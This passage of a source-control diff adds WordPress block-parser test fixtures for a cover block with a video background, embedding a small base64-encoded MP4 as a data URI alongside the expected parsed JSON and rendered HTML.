AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-cover has-background-dim-10 has-background-dim\" style=\"background-color:#3615d9\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:cover {"url":"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=","dimRatio":10,"customOverlayColor":"#3615d9","backgroundType":"video"} -->
+<div class="wp-block-cover has-background-dim-10 has-background-dim" style="background-color:#3615d9"><video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video><p class="wp-block-cover-text">Guten Berg!</p></div>
+<!-- /wp:cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html	(revision 56912)
@@ -0,0 +1,6 @@
+
+<div class="wp-block-cover has-background-dim-10 has-background-dim" style="background-color:#3615d9">
+	<video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video>
+	<p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.html	(revision 56912)
@@ -0,0 +1,6 @@
+<!-- wp:cover {"url":"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=","dimRatio":40,"backgroundType":"video"} -->
+<div class="wp-block-cover has-background-dim-40 has-background-dim">
+	<video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video>
+	<p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+<!-- /wp:cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.json	(revision 56912)
@@ -0,0 +1,17 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/cover",
+        "isValid": true,
+        "attributes": {
+            "title": "Guten Berg!",
+            "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA